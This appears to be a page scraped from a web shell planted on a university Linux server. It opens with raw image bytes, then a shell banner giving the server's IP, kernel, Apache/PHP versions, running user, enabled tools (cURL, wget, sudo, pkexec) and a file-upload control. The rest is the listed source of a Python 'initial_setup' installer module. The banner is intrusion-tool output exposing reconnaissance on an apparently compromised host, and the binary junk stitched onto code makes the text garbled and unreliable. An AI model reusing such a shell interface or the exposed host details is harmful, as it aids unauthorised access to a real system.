RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð �PNG ��� IHDR���0���0����`n���� cHRM��z&��������������u0���`��:���p��Q<���bKGD�������������tIME� 6���� AIDATX��]pU����{��{�G�n$$@ -�-jВAک��P��1O���j��:cU|hg�}�C�ʋU�:�A A�����|$$$������}�^}8i *�د�?w�9gݵ��:{��F"��&��4� �@��@q_����Ow��9<<|�ԩ�;w���"�#GV�^}Ճ7�|s˖-{��|��G�-[��R�Q�aőTR)� �2!�e�63��X�U������{��Z�m۶�^}�5����}����v�R��J�J,�$� B�$Ф")�i��D�9+䜆B.�qf�үÇoذaժU�i>��so����a^���۷����3�<�ꫯnݺ��"���\���gn0�h��B�i� hR��,W*�e�65��LS�ر�0ēO>���755���ι@O?��ҥK������:::����1��X�9S�%�'�I���$��Sg�ڥ3'zF/� ��Z�8ES6WZ#�.�\��P�R�2����-[�,_�|�`�j�Xl6M���b�Z�* �jҟ0��҉B""� y22r�ܹ�CG�;���{7nn��ma���������2S���� <��x�⡡�|p.Pw��x��y�C�=��O� ��CB}�ӵ����?�wq`8�e����{+Չɱ�\{&�LL������vww��]��?q��Y�������P(���vuu9���S?w���ݻ�v<���mш ��D�DR&�j�X�����y�>���dyg�7��b��s�p��E���BDR� t����������=w�\�[;:[&._�Dlڸv�]��u�驚�/Y�a�����d�%��*)1� �V\G���[F]����X���i����J:z�N�9�?xϭ+X�V|���U�n� �g���hҜ�b�aҢ^��j�f�ZV�K��w.�ؾp�}{� �/e��{O�o�����R�8���i� !jB`�3n;Mw.=7�S�'��F�yW��x�}LXNfz�����b�p�b�bq~�����s�4�H�2��q^�r��n���\aFf4�����n�c��Q�n�X�,����ӑҤd5DDDd9'd��,�l��.���)?��������#}C�k����ܖq����m�a��y��8D���,K)�I�$I�8NE�aH)�|�VCDƘ��DF0D@M�"3�+�����Kcú��+n}��-�k:W�K������3ƄRʌ��m۞��q�9WJ���d�0�,�8��ٶ�⦈B�h���䩡�eDCj&$ �1�Y��\�>{~`�M����ͷt�#?VZ'@D²l"�,+�ɤc0�r��R*��X��n�_kMD�1"""ι�:%X��� $�b:i�b4�X<�/"r�����[Vo��T��0V�i���sΓ$IG���4M�c�R�eq��QS�+5{�{�,��a"��D�2�CҐ(I`CS�s�ʥ�R&�p�����۴(�N���e�sq�Ғ|%�����k�=�0S3@�`�i9�K��Պ�0T�Y��ؼD*��DE��2�gO�bŷrY����z�T��R�҉҆SX�Tϑ����/�Zi�eL��X��jdx䏿�eَ���7��П"?�����0y����<��R�N8�\X9ӥx ��^�L�l�ކ��u����/���Q�B�^p�f��\3��]�INƑ�L�"--�r�!8?���Rp~����v��|�M��$����_M�����GgF�/U�^�^p�Dk�ٲ�vM� ����L$�eGʓ01*���Two��f��#���ޱ��7��!5rdy"D��V���\ט��[y�f���@���Um����2w\�fg_z�y���v|`$_ow402�|���c��Zt��J��Yw���b8+L����R�t߉O�xS���'�L��`/lY�� ���Z;f�nX���f��$�<���Ϩ�J��z"�y��%�qzz��(B��Y�@D�)�uS���<�\.[�����*T(�8v�̗����rrr2I�� N5w����^k=�}�:�S�yӌ��ً+�����NY碧f����0)��h. �R����4�Ա�>�X,:����c�0�0�Rn6���mii�MW*�j��i�I�0�,ˊ���È�8���j�$I�hkk�`||�B!b��l6�8Ncc��U��<���1f�&"FQdYV�B�b���j3�>�!��j>���g���g��RD����8���r�08�u�7��]3������~�,b�P���%tEXtdate:create�2025-02-07T10:02:54+00:00� t����%tEXtdate:modify�2025-02-07T10:02:54+00:00�P�6���(tEXtdate:timestamp�2025-02-07T10:02:54+00:00�E������IEND�B`�
| Server IP : 128.227.220.250 / Your IP : 216.73.216.35 Web Server : Apache/2.4.64 (Unix) OpenSSL/1.0.2k-fips PHP/7.4.33 System : Linux dumont.ece.ufl.edu 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64 User : daemon ( 2) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /lib/python2.7/site-packages/initial_setup/ |
Upload File : |
"""Initial Setup"""
__version__ = "0.3.9.45"
import os
import sys
import signal
import pykickstart
import logging
import argparse
# initThreading() initializes the threadMgr instance, we need to run it
# as early as possible or else Anaconda modules might get stale
# data
# - they would get threadMgr == None if they did "from pyanaconda.threads import threadMgr"
# before initThreading() was called
from pyanaconda.threads import initThreading
initThreading()
import traceback
from pyanaconda.users import Users
from initial_setup.post_installclass import PostInstallClass
from initial_setup import initial_setup_log
from pyanaconda import iutil
from pykickstart.constants import FIRSTBOOT_RECONFIG
from pyanaconda.localization import setup_locale_environment, setup_locale
from pyanaconda.constants import FIRSTBOOT_ENVIRON
from pyanaconda.flags import flags
from pyanaconda import screen_access
class InitialSetupError(Exception):
pass
INPUT_KICKSTART_PATH = "/root/anaconda-ks.cfg"
OUTPUT_KICKSTART_PATH = "/root/initial-setup-ks.cfg"
RECONFIG_FILES = ["/etc/reconfigSys", "/.unconfigured"]
SUPPORTED_KICKSTART_COMMANDS = ["user",
"eula",
"group",
"keyboard",
"lang",
"rootpw",
"timezone",
"logging",
"selinux",
"firewall"]
# set the environment so that spokes can behave accordingly
flags.environs = [FIRSTBOOT_ENVIRON]
# set root to "/", we are now in the installed system
iutil.setSysroot("/")
signal.signal(signal.SIGINT, signal.SIG_IGN)
# setup logging
log = logging.getLogger("initial-setup")
logging_initialized = False
def log_to_journal(message, priority=3):
"""A quick-and-dirty direct Journal logger.
A quick-and-dirty direct Journal logger used to log errors that occur
before the normal Python logging system is setup and connected to Journal.
:param str message: message to send to Journal
:param int priority: message priority (2 - critical, 3 - error, 4 - warning, 5 - notice, 6 - info)
"""
os.system('echo "%s" | systemd-cat -t initial-setup -p %s' % (message, priority))
def log_exception(*exception_info):
exception_text = "".join(traceback.format_exception(*exception_info))
error_message = "Initial Setup crashed due to unhandled exception:\n%s" % exception_text
if logging_initialized:
log.error(error_message)
else:
log_to_journal(error_message)
sys.excepthook = log_exception
class InitialSetup(object):
def __init__(self, gui_mode):
"""Initialize the Initial Setup internals"""
log.debug("initializing Initial Setup")
# True if running in graphical mode, False otherwise (text mode)
self.gui_mode = gui_mode
# kickstart data
self.data = None
# reboot on quit flag
self._reboot_on_quit = False
# parse any command line arguments
self.args = self._parse_arguments()
# initialize logging
initial_setup_log.init(stdout_log=not self.args.no_stdout_log,
stdout_log_level=self.args.stdout_log_level)
global logging_initialized
logging_initialized = True
log.info("Initial Setup %s" % __version__)
# check if we are running as root
if os.geteuid() != 0:
log.critical("Initial Setup needs to be run as root")
raise InitialSetupError
if self.gui_mode:
log.debug("running in GUI mode")
else:
log.debug("running in TUI mode")
self._external_reconfig = False
# check if the reconfig mode should be enabled
# by checking if at least one of the reconfig
# files exist
for reconfig_file in RECONFIG_FILES:
if os.path.exists(reconfig_file):
self.external_reconfig = True
log.debug("reconfig trigger file found: %s", reconfig_file)
if self.external_reconfig:
log.debug("running in externally triggered reconfig mode")
if self.gui_mode:
# We need this so we can tell GI to look for overrides objects
# also in anaconda source directories
import gi.overrides
for p in os.environ.get("ANACONDA_WIDGETS_OVERRIDES", "").split(":"):
gi.overrides.__path__.insert(0, p)
log.debug("GI overrides imported")
from pyanaconda.addons import collect_addon_paths
addon_paths = ["/usr/share/initial-setup/modules", "/usr/share/anaconda/addons"]
# append ADDON_PATHS dirs at the end
sys.path.extend(addon_paths)
self._addon_module_paths = collect_addon_paths(addon_paths, self.gui_mode_id)
log.info("found %d addon modules:", len(self._addon_module_paths))
for addon_path in self._addon_module_paths:
log.debug(addon_path)
# Too bad anaconda does not have modularized logging
log.debug("initializing the Anaconda log")
from pyanaconda import anaconda_log
anaconda_log.init()
# initialize network logging (needed by the Network spoke that may be shown)
log.debug("initializing network logging")
from pyanaconda.network import setup_ifcfg_log
setup_ifcfg_log()
@property
def external_reconfig(self):
"""External reconfig status.
Reports if external (eq. not triggered by kickstart) has been enabled.
:returns: True if external reconfig mode has been enabled, else False.
:rtype: bool
"""
return self._external_reconfig
@external_reconfig.setter
def external_reconfig(self, value):
self._external_reconfig = value
@property
def gui_mode_id(self):
"""String id of the current GUI mode
:returns: "gui" if gui_mode is True, "tui" otherwise
:rtype: str
"""
if self.gui_mode:
return "gui"
else:
return "tui"
@property
def reboot_on_quit(self):
# should the machine be rebooted once Initial Setup quits
return self._reboot_on_quit
def _parse_arguments(self):
"""Parse command line arguments"""
# create an argparse instance
parser = argparse.ArgumentParser(prog="Initial Setup",
description="Initial Setup can run during the first start of a newly installed"
"system to configure it according to the needs of the user.")
parser.add_argument("--no-stdout-log", action="store_true", default=False, help="don't log to stdout")
parser.add_argument("--stdout-log-level", default="debug", choices=["warning", "info", "debug"],
metavar="LOG_LEVEL", help='stdout log level')
parser.add_argument("--show-window-header", action="store_true", default=False, help="show window header (GUI only)")
parser.add_argument('--version', action='version', version=__version__)
# parse arguments and return the result
return parser.parse_args()
def _load_kickstart(self):
"""Load the kickstart"""
from pyanaconda import kickstart
# Construct a commandMap with only the supported Anaconda's commands
commandMap = dict((k, kickstart.commandMap[k]) for k in SUPPORTED_KICKSTART_COMMANDS)
# Prepare new data object
self.data = kickstart.AnacondaKSHandler(self._addon_module_paths["ks"], commandUpdates=commandMap)
kickstart_path = INPUT_KICKSTART_PATH
if os.path.exists(OUTPUT_KICKSTART_PATH):
log.info("using kickstart from previous run for input")
kickstart_path = OUTPUT_KICKSTART_PATH
log.info("parsing input kickstart %s", kickstart_path)
try:
# Read the installed kickstart
parser = kickstart.AnacondaKSParser(self.data)
parser.readKickstart(kickstart_path)
log.info("kickstart parsing done")
except pykickstart.errors.KickstartError as kserr:
log.critical("kickstart parsing failed: %s", kserr)
log.critical("Initial Setup startup failed due to invalid kickstart file")
raise InitialSetupError
if self.external_reconfig:
# set the reconfig flag in kickstart so that
# relevant spokes show up
self.data.firstboot.firstboot = FIRSTBOOT_RECONFIG
def _setup_locale(self):
log.debug("setting up locale")
# Normalize the locale environment variables
if self.data.lang.seen:
locale_arg = self.data.lang.lang
else:
locale_arg = None
setup_locale_environment(locale_arg, prefer_environment=True)
setup_locale(os.environ['LANG'], text_mode=not self.gui_mode)
def _apply(self):
# Do not execute sections that were part of the original
# anaconda kickstart file (== have .seen flag set)
log.info("applying changes")
sections = [self.data.keyboard, self.data.lang, self.data.timezone]
# data.selinux
# data.firewall
log.info("executing kickstart")
for section in sections:
section_msg = "%s on line %d" % (repr(section), section.lineno)
if section.seen:
log.debug("skipping %s", section_msg)
continue
log.debug("executing %s", section_msg)
section.execute(None, self.data, None)
# Prepare the user database tools
u = Users()
sections = [self.data.group, self.data.user, self.data.rootpw]
for section in sections:
section_msg = "%s on line %d" % (repr(section), section.lineno)
if section.seen:
log.debug("skipping %s", section_msg)
continue
log.debug("executing %s", section_msg)
section.execute(None, self.data, None, u)
# Configure all addons
log.info("executing addons")
self.data.addons.execute(None, self.data, None, u, None)
if self.external_reconfig:
# prevent the reconfig flag from being written out
# to kickstart if neither /etc/reconfigSys or /.unconfigured
# are present
self.data.firstboot.firstboot = None
# Write the kickstart data to file
log.info("writing the Initial Setup kickstart file %s", OUTPUT_KICKSTART_PATH)
with open(OUTPUT_KICKSTART_PATH, "w") as f:
f.write(str(self.data))
log.info("finished writing the Initial Setup kickstart file")
# Remove the reconfig files, if any - otherwise the reconfig mode
# would start again next time the Initial Setup service is enabled.
if self.external_reconfig:
for reconfig_file in RECONFIG_FILES:
if os.path.exists(reconfig_file):
log.debug("removing reconfig trigger file: %s" % reconfig_file)
os.remove(reconfig_file)
# and we are done with applying changes
log.info("all changes have been applied")
def run(self):
"""Run Initial setup
GUI will be used when the gui_mode property is True (TUI mode is the default).
:returns: True if the IS run was successful, False if it failed
:rtype: bool
"""
self._load_kickstart()
self._setup_locale()
# initialize the screen access manager before launching the UI
screen_access.initSAM()
if self.gui_mode:
try:
# Try to import IS gui specifics
log.debug("trying to import GUI")
import initial_setup.gui
except ImportError:
log.exception("GUI import failed, falling back to TUI")
self.gui_mode = False
if self.gui_mode:
# gui already imported (see above)
# Add addons to search paths
initial_setup.gui.InitialSetupGraphicalUserInterface.update_paths(self._addon_module_paths)
# Initialize the UI
log.debug("initializing GUI")
ui = initial_setup.gui.InitialSetupGraphicalUserInterface(None, None, PostInstallClass())
# set Window header visibility based on command line options
ui.mainWindow.set_hide_titlebar_when_maximized(not self.args.show_window_header)
else:
# Import IS tui specifics
import initial_setup.tui
# Add addons to search paths
initial_setup.tui.InitialSetupTextUserInterface.update_paths(self._addon_module_paths)
# Initialize the UI
log.debug("initializing TUI")
ui = initial_setup.tui.InitialSetupTextUserInterface(None, None, None)
# Pass the data object to user interface
log.debug("setting up the UI")
ui.setup(self.data)
# Start the application
log.info("starting the UI")
ret = ui.run()
# we need to reboot the machine if the EULA was not agreed
if not self.data.eula.agreed:
log.warning("EULA has not been agreed - the system will be rebooted.")
self._reboot_on_quit = True
# TUI returns False if the app was ended prematurely
# all other cases return True or None
if ret is False:
log.warning("ended prematurely in TUI")
return True
# apply changes
self._apply()
# and we are done
return True